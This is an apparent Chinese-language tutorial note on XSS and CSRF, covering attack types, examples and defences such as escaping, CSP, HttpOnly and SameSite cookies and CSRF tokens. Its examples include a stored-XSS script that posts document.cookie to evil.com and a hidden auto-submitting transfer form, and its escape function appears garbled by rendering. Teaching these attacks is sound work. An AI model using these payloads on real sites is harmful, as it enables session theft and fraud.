XSS 与 CSRF
XSS (Cross-Site Scripting)
攻击者将恶意脚本注入到网页中,在用户浏览器中执行。
三种类型
| 类型 | 触发方式 | 危害 | 常见场景 |
|---|---|---|---|
| 反射型 | 恶意链接,服务端返回脚本 | 中 | 搜索页、错误页 |
| 存储型 | 恶意代码存入数据库,其他用户访问时执行 | 高 | 评论区、用户资料 |
| DOM 型 | 前端 JS 动态写入恶意内容 | 中 | URL hash、onerror |
反射型 XSS 示例
html
<!-- 恶意链接 -->
http://example.com/search?q=<script>alert('xss')</script>
<!-- 服务端直接拼接返回 -->
<p>搜索结果:<script>alert('xss')</script></p><!-- 恶意链接 -->
http://example.com/search?q=<script>alert('xss')</script>
<!-- 服务端直接拼接返回 -->
<p>搜索结果:<script>alert('xss')</script></p>存储型 XSS 示例
js
// 用户在评论区输入
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ cookie: document.cookie })
})
</script>
// 其他用户访问页面时自动执行// 用户在评论区输入
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ cookie: document.cookie })
})
</script>
// 其他用户访问页面时自动执行DOM 型 XSS 示例
js
// ❌ 危险:直接插入 HTML
const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}`
// ✅ 安全:使用 textContent
document.getElementById('welcome').textContent = `Hello, ${name}`// ❌ 危险:直接插入 HTML
const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}`
// ✅ 安全:使用 textContent
document.getElementById('welcome').textContent = `Hello, ${name}`防御措施
1. 输入过滤与输出转义
js
// 前端通用转义函数
function escapeHTML(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
}
return str.replace(/[&<>"']/g, char => map[char])
}
// 使用 DOMPurify 库(推荐)
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userInput)// 前端通用转义函数
function escapeHTML(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
}
return str.replace(/[&<>"']/g, char => map[char])
}
// 使用 DOMPurify 库(推荐)
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userInput)2. 使用框架的安全机制
jsx
// React 默认转义所有 JSX 表达式
const userInput = '<script>alert("xss")</script>'
return <div>{userInput}</div> // 安全:显示为文本
// ❌ 危险:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
// Vue 使用 v-html 时手动过滤
<div v-html="sanitize(content)" />// React 默认转义所有 JSX 表达式
const userInput = '<script>alert("xss")</script>'
return <div>{userInput}</div> // 安全:显示为文本
// ❌ 危险:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
// Vue 使用 v-html 时手动过滤
<div v-html="sanitize(content)" />3. CSP 限制
http
Content-Security-Policy: script-src 'self'Content-Security-Policy: script-src 'self'4. HttpOnly Cookie
http
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=LaxSet-Cookie: session=xxx; HttpOnly; Secure; SameSite=LaxCSRF (Cross-Site Request Forgery)
攻击者诱导用户点击链接,在用户已登录状态下发起恶意请求。
攻击示例
html
<!-- 攻击者网站上的恶意页面 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
<!-- 或 -->
<form action="https://bank.example.com/transfer" method="POST" style="display:none">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script><!-- 攻击者网站上的恶意页面 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
<!-- 或 -->
<form action="https://bank.example.com/transfer" method="POST" style="display:none">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>防御措施
1. SameSite Cookie
http
Set-Cookie: session=xxx; SameSite=Strict # 完全阻止第三方请求携带
Set-Cookie: session=xxx; SameSite=Lax # 允许 GET 等安全方法(默认)Set-Cookie: session=xxx; SameSite=Strict # 完全阻止第三方请求携带
Set-Cookie: session=xxx; SameSite=Lax # 允许 GET 等安全方法(默认)2. CSRF Token
html
<!-- 服务端在页面中嵌入 Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机Token" />
<input name="to" />
<input name="amount" />
</form>
<!-- 前端请求携带 -->
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify(data),
})<!-- 服务端在页面中嵌入 Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机Token" />
<input name="to" />
<input name="amount" />
</form>
<!-- 前端请求携带 -->
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify(data),
})3. 验证 Referer/Origin
js
// 服务端校验 Referer 是否来自本站
const referer = req.headers.referer
if (!referer?.startsWith('https://example.com')) {
return 403
}// 服务端校验 Referer 是否来自本站
const referer = req.headers.referer
if (!referer?.startsWith('https://example.com')) {
return 403
}4. 二次确认
js
// 敏感操作要求用户再次输入密码或验证码
await confirmPassword()// 敏感操作要求用户再次输入密码或验证码
await confirmPassword()XSS vs CSRF 对比
| XSS | CSRF | |
|---|---|---|
| 原理 | 执行恶意脚本 | 伪造用户请求 |
| 目标 | 窃取数据/控制页面 | 执行操作 |
| 依赖 | 需注入代码 | 依赖用户登录态 |
| 防御 | 过滤/转义/CSP | Token/SameSite/Referer |
Cao Note